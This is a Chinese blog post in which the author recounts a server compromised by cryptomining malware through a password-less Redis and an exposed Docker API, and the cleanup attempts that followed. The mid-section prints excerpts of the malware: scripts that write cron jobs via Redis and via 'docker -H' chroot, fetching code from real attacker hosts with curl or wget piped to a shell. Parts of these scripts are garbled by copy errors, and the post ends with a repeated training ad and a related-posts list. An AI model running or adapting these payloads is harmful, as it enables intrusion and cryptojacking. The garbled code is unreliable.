今天在打开服务器准备进入docker中的mysql测试sqlmode时,突然发现进不去mysql,然后我一看,mysql挂了,不止mysql,其他应用也全挂了。

我一看,cpu100%,网上查找:kswapd0占用过高是因为 物理内存不足,使用swap分区与内存换页操作交换数据,导致CPU占用过高。(后来我才领悟,原来这根本不是kswapd0,而是木马程序伪装的[kswapd0],专门骗我这种小白)

可以看到2394这个进程占用cpu最多,于是我看了很久没查出什么问题,于是直接kill 2349

cpu降下来了。。。

可是我又发现还有一个进程9951 pnscan占用比较高,老规矩,打开百度搜一搜

好家伙,还没输完,百度就已经提示我pnscan木马了 于是我意识到服务器被病毒入侵了,立马去找杀毒方案 通过网络搜索,我大概知道是从redis入侵的了 查看刚刚的pnscan进程信息:

看到了熟悉的6379 ,确认从redis入侵无疑了,想起我的redis只是测试使用,所以没有设置密码。

发现pnscan相关进程,全部kill,然后根据上图中的路径删除/usr/local/bin目录下的pnscan脚本

rm -rfpnscan

当我删完,我以为就应该没事了,结果cpu还是占用很高

找了很多方法,还是无法解决

于是我无意间使用 netstat -ant命令查看了一下网络连接状态

不查不知道,一查吓一跳

2375 ,好熟悉的端口,这不是我前天为了远程连接docker部署项目打开的吗。

一时间我悟了,原来病毒不止一个。

知己知彼百战不殆,于是我就去找到了这篇博文Docker暴露2375端口导致服务器被攻击解决方法!

只需要通过以下命令就可以操作你的docker

docker -H tcp://服务器ip:2375 docker命令

docker官网:

Warning: Changing the default docker daemon binding to a TCP port or Unix docker user group will increase your security risks by allowing non-root users to gain root access on the host. Make sure you control access to docker. If you are binding to a TCP port, anyone with access to that port has full Docker access; so it is not advisable on an open network.

告知了可能会被入侵。

解决办法:目前我先关掉了2375端口远程连接

我是通过修改vim /lib/systemd/system/docker.service

下图是我添加的,把它删掉

然后执行

systemctl daemon-reload
```接着继续看\[scan\]进程

ps -ef |grep scan


进入/usr/share目录,发现两个可疑的程序,为啥要这么明显?

好奇心让我想看看这shell里面写的啥

[scan] 截取部分

#!/bin/bash
setenforce 0 2>/dev/null
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
function SecureTheSystem(){
SYSFILEARRAY=(pstree kill pkill htop netstat ss lsofwget wge wdl curl cur cdl sysctl )
for SYSFILE in ${SYSFILEARRAY[@]}; do
SYSFILEBIN=which $SYSFILE 2>/dev/null 1>/dev/null
tntrecht -i $SYSFILEBIN 2>/dev/null 1>/dev/null
chattr -i $SYSFILEBIN 2>/dev/null 1>/dev/null
chmod -x $SYSFILEBIN 2>/dev/null 1>/dev/null
chattr +i $SYSFILEBIN 2>/dev/null 1>/dev/null
tntrecht +i $SYSFILEBIN 2>/dev/null 1>/dev/null
done
SYSTEMFILEARRAY=(“/root/.ssh/” “/home//.ssh/" “/etc/passwd” “/etc/shadow” “/etc/sudoers” “/etc/ssh/” “/etc/ssh/sshd_config”)
for SYSTEMFILE in ${SYSTEMFILEARRAY[@]}; do
tntrecht +i -R $SYSTEMFILE2>/dev/null 1>/dev/null
chattr +i -R $SYSTEMFILE2>/dev/null 1>/dev/null
done
}
sleep 1if [ -f “/bin/ps.original” ]thenps.original -fe|grep pnscan |grep -v grepelseps -fe|grep pnscan |grep -v grepfi
if [ $? -ne 0 ]
thenrm -rf .dat .shard .ranges .lan 2>/dev/nullsleep 1echo ‘config set dbfilename “backup.db”’ > .datecho ‘save’ >> .datecho ‘config set stop-writes-on-bgsave-error no’ >> .datecho ‘flushall’ >> .datecho 'set backup1 "\n\n\n
/2 * * * * cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n”’ >> .datecho ‘set backup2 “\n\n\n*/3 * * * * wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n”’ >> .datecho ‘set backup3 “\n\n\n*/4 * * * * curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n”’ >> .datecho ‘set backup4 “\n\n\n*/5 * * * * wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n”’ >> .datecho ‘config set dir “/var/spool/cron/”’ >> .datecho ‘config set dbfilename “root”’ >> .datecho ‘save’ >> .datecho ‘config set dir “/var/spool/cron/crontabs”’ >> .datecho ‘save’ >> .datecho ‘flushall’ >> .datecho ‘set backup1 “\n\n\n*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n”’ >> .datecho ‘set backup2 “\n\n\n*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n”’ >> .datecho ‘set backup3 “\n\n\n*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n”’ >> .datecho ‘set backup4 “\n\n\n*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n”’ >> .datecho ‘config set dir “/etc/cron.d/”’ >> .datecho ‘config set dbfilename “zzh”’ >> .datecho ‘save’ >> .datecho ‘config set dir “/etc/”’ >> .datecho ‘config set dbfilename “crontab”’ >> .datecho ‘save’ >> .datsleep 1pnx=pnscan[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscanwhile true; do


\[mass\] 截取部分

#!/bin/bash
if [ -f /bin/cd1 ];then
aabb=/bin/cd1
echo “cd1 exist”
elif [ -f /bin/curl ];then
aabb=/bin/curl
echo “curl exist”
else
echo “curl not exist,use yum reinstall”
yum -y remove curl&&yum -y install curl
fi

chmod +x /usr/bin/zgrab

dAPIpwn(){
range=$1
port=$2
rate= 3 r n d s t r = 3 rndstr= 3rndstr=(head /dev/urandom | tr -dc a-z | head -c 6 ; echo ‘’)
eval “ r n d s t r " = " ′ rndstr"="' rndstr"="′(masscan r a n g e − p range -p range−pport --rate=$rate | awk ‘{print $6}’| zgrab --senders 200 --port $port --http=‘/v1.16/version’ --output-file=- 2>/dev/null | grep -E ‘ApiVersion|client version 1.16’ | jq -r .ip)'”;

for ipaddy in ${!rndstr}
do

TARGET= i p a d d y : ipaddy: ipaddy:port

echo ‘##################################################’
a a b b − s L k h t t p : / / 107..3.150 / i n p u t / d a . p h p ? v u l n = aabb -sLk http://107..3.150/input/da.php?vuln= aabb−sLkhttp://107..3.150/input/da.php?vuln=TARGET -o /dev/null
echo $TARGET

timeout -s SIGKILL 240 docker -H $TARGET run --rm -v /:/mnt alpine chroot /mnt/ /bin/sh -c "if /etc/crontab && echo “* * * * * root curl http://107.189.3.150/b2f628/cronb.sh|bash”>/etc/cron.d/zzh

done
}

额,看不太懂,可以看到的是对我的redis 6379和2375,2376端口都进行了入侵

既然已经备份下来了(后期再分析分析,知己知彼百战不殆嘛),那么就无情rm -rf 了

然后我top

发现有一个进程masscan,无论我怎样kill还是会重启

于是我查看定时任务cd /var/spool/cron/ ,找到了原因


话不多说,记录下来之后rm -rf root

好家伙,还是又重启了

经过一段时间查询,搜索,我发现病毒进程不止masscan

利用Docker remote api未授权访问漏洞攻击,再利用ssh攻击传播,再安装IRC后门,文章提到的利用masscan,zgrab对外扫描占用宽带在上图中可以体现。

当我尝试修改yum的内容时,告诉我文件只读,然后我修改权限,发现没法修改权限

执行ls -l yum

—xr-xr-x. 1 root root 801 11月5 2018 yum

一番百度后:chattr -i yum,再修改yum文件权限,好使了

修改一下yum解释器

我使用find命令查找masscan find -name masscan,发现bin目录下的可执行文件,直接删除

好家伙,我要哭了,[mass]又出现了,此刻我又发现了一个比较可疑的进程systemd-journal,搜索一下,好家伙,和systemd-journald就差一个字母,这玩意儿绝对是木马进程。

捣鼓了一段时间,还是无法彻底解决。然后我kill掉这个进程,没了,接下来我就观察一下进程的变化,观察了很久都没有出现[mass],但docker容器已经被破坏了。

最后我重置了服务器,更换了Debian系统。

好像是没木马了一样,但是我的环境已经被破坏了,太难受了,系统安全真的很重要,我偶尔会听到朋友(这个朋友就是我)说数据库被黑,被勒索,系统被挖矿,其实这些都是可以避免的,在往后的学习工作中一定会更加注重系统安全,后续也会就该漏洞和病毒进一步学习研究,学习规避方案。

本次服务器被入侵的原因主要是因为redis没有设置密码和docker开启remote api之后没有进行相关验证,不法分子利用程序漏洞进行了攻击,虽然只是学习环境,但以后还是要加强一下安全方面的处理。

附上阿里云漏洞库链接:Docker daemon API 未授权访问漏洞

不过换个角度,我觉得自己又学到了很多知识,增长了经验,再重新搭一遍环境也正好可以巩固一下知识,欢迎大家评论留下宝贵的经验建议。

网络安全成长路线图

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成hei客大神,这个方向越往后,需要学习和掌握的东西就会越来越多,以下是学习网络安全需要走的方向:

# 网络安全学习方法

​ 上面介绍了技术分类和学习路线,这里来谈一下学习方法:
​ ## 视频学习

习网络安全需要走的方向:

# 网络安全学习方法

​ 上面介绍了技术分类和学习路线,这里来谈一下学习方法:
​ ## 视频学习

​ 无论你是去B站或者是油管上面都有很多网络安全的相关视频可以学习,当然如果你还不知道选择那套学习,我这里也整理了一套和上述成长路线图挂钩的视频教程,完整版的视频已经上传至CSDN官方,朋友们如果需要可以点击这个链接免费领取。网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

小白被挖矿木马整emo的一天相关推荐

  1. python挖矿木马_记一次阿里云被植入挖矿木马的事件

    今天上午同事说我负责的那个模块不工作了,我登录了一下阿里云服务器排查一下,发现服务器运行很慢.(因为你敲的命令字符回传的很快,但是命令的响应时间长,所以是服务器卡了,而不是网络的问题) 使用top查看 ...

  2. 云服务器ECS挖矿木马病毒处理和解决方案

    云服务器ECS挖矿木马病毒处理和解决方案 参考文章: (1)云服务器ECS挖矿木马病毒处理和解决方案 (2)https://www.cnblogs.com/owenma/p/10430599.html ...

  3. 挖矿木马的战略战术分析

    前言 比特币等虚拟货币在2019年迎来了久违的大幅上涨,从最低3000美元上涨至7月份的14000美元,涨幅达300%,巨大的金钱诱惑使得更多的黑产团伙加入了恶意挖矿的行列.阿里云安全团队通过对云上僵 ...

  4. 第七十六期:糟糕!服务器被植入挖矿木马,CPU飙升200%

    某日,正在午休中,突然一则噩耗从前线传来:网站不能访问了! 作者:我叫刘半仙 某日,正在午休中,突然一则噩耗从前线传来:网站不能访问了! 图片来自 Pexels 此项目是我负责,线上服务器用的是某讯云 ...

  5. net start mysql 服务名无效_记一次服务器被植入挖矿木马cpu飙升200%解决过程

    来自:开源中国,作者:我叫刘半仙  链接:https://my.oschina.net/liughDevelop/blog/1786631 " 某日,正在午休中,突然一则噩耗从前线传来:网站 ...

  6. 记录清理服务器挖矿木马warmup的命令

    记录清理服务器挖矿木马warmup的命令 warmup 的 CPU占用率很高 清理命令: systemctl stop warmup systemctl disable warmup systemct ...

  7. 如何解决服务器挖矿木马

    服务器挖矿木马在17年初慢慢大规模流行,hack利用网络入侵控制了大量的计算机,在移植矿山计划后,利用计算机的CPU和GPU计算力完成了大量的计算,获得了一些木马远控资源.17年后,挖矿木马慢慢变成互 ...

  8. ld-linux-x86-64.so.2挖矿木马,排查操作记录

    登录linux系统,在控制台中运行```top```指令 看到cpu占用较高的进程,其中第一项名为"ld-linux-x86-64"的一个进程占用cpu资源竟然高达700%,经上网 ...

  9. 挖矿木马应急响应指南

    挖矿木马应急响应指南 1.初步预判 2.隔离被感染的服务器/主机 3.确认挖矿进程 4.挖矿木马清除 1.初步预判 判断是否真实遭遇挖矿木马 被植入挖矿木马的计算机会出现 CPU 使用率飙升.系统卡顿 ...

最新文章

  1. 搭建struts2.1.6环境所需要的包(7个)
  2. jQuery插件:超酷的多列网格式拖放插件gridster.js
  3. matlab中 intval函数,经常用到取整的函数,今天小小的总结一下!其实很简单,就是几个函数而已~~主要是:ceil,floor,round,intval...
  4. 非常有用的15个Linux 服务器监控命令
  5. twitter集成第三方登录是窗口一直出现闪退的解决方法
  6. hadoop矩阵乘法源码_使用Hadoop计算共现矩阵
  7. 解决input输入框在iOS中有阴影问题
  8. c# 静态构造函数与私有构造函数共存
  9. Vertically aligning HTML
  10. 数据挖掘应用案例:RFM模型分析与客户细分(转)
  11. 一个女人在公司做领导是如何在4年内做到年薪200万的?
  12. 果蔬连连看java源代码_《基于Qt的连连看游戏的设计》-毕业论文.doc
  13. 输出NSRange类型的数据
  14. Java 后端开发工程师进阶路线
  15. C 语言编码规范(MISRA-C-:2004)
  16. 《缠中说禅》炒股经典理论
  17. word文件做一半未响应_word文档未响应文件还没保存该怎么处理?
  18. 程序员被老板要求两个月做个app, 要不比京东差,网友:辞职吧
  19. JAVA JNI中int和Integer完全不同
  20. NFT 作品集推荐|Lululand《爱是永恒》

热门文章

  1. 看完这篇 教你玩转渗透测试靶机vulnhub——My File Server: 2
  2. c语言刷题系列(一)
  3. 机器学习算法(八):关联分析
  4. 边缘计算——云边协同——论文阅读笔记
  5. 腾讯云+动态公网IP+黑裙
  6. Flink 数据积压问题
  7. MQ 消息积压问题与解决方案
  8. 在时光深处,聆听一段光阴的故事
  9. Linux查看、禁止、启用服务
  10. 动态阈值_干货:如何有效降低导电复合材逾渗阈值